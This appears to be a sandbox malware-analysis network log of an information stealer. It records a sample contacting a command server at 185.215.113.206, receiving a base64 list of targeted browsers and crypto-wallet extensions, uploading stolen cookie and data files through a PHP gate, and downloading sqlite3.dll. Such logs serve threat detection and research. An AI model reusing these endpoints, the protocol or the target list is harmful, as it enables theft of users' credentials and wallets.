R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 11, 2024 21:59:00.625716925 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 11, 2024 21:59:00.627223969 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"plugins------GDHCGDGIEBKJKFHJJKFC--
Nov 11, 2024 21:59:00.830698013 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 11, 2024 21:59:00.830848932 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 11, 2024 21:59:00.830862045 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 11, 2024 21:59:00.830873966 CET	636	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 11, 2024 21:59:00.830887079 CET	1236	IN	Data Raw: 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 42 38 52 30 46 31 64 47 67 67 51 58 56 30 61 47 56 75 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d Data Ascii: ZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZ
Nov 11, 2024 21:59:00.830899954 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 Data Ascii: IFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJv
Nov 11, 2024 21:59:00.830910921 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Nov 11, 2024 21:59:00.830929041 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Nov 11, 2024 21:59:00.832771063 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="message"fplugins------IDHJEBGIEBFIJKEBFBFH--
Nov 11, 2024 21:59:01.035482883 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 11, 2024 21:59:01.064970970 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAA Host: 185.215.113.206 Content-Length: 6491 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 21:59:01.065025091 CET	6491	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 Data Ascii: ------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 11, 2024 21:59:01.782730103 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:02.160375118 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 21:59:02.360572100 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 11, 2024 21:59:02.360584974 CET	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	185.215.113.206	80	6196	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 21:59:10.190823078 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJ Host: 185.215.113.206 Content-Length: 999 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 21:59:10.190853119 CET	999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 11, 2024 21:59:11.332182884 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:11.481663942 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAKJKJEBGHJKFHIDGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="file"------AAAAKJKJEBGHJKFHIDGC--
Nov 11, 2024 21:59:12.180819035 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	58697	185.215.113.206	80	6196	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 21:59:17.710854053 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBK Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 21:59:17.711112976 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 Data Ascii: ------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 11, 2024 21:59:19.073105097 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:19.077955961 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:19.291606903 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIEHJKEBAAEBGCAAEBFHContent-Disposition: 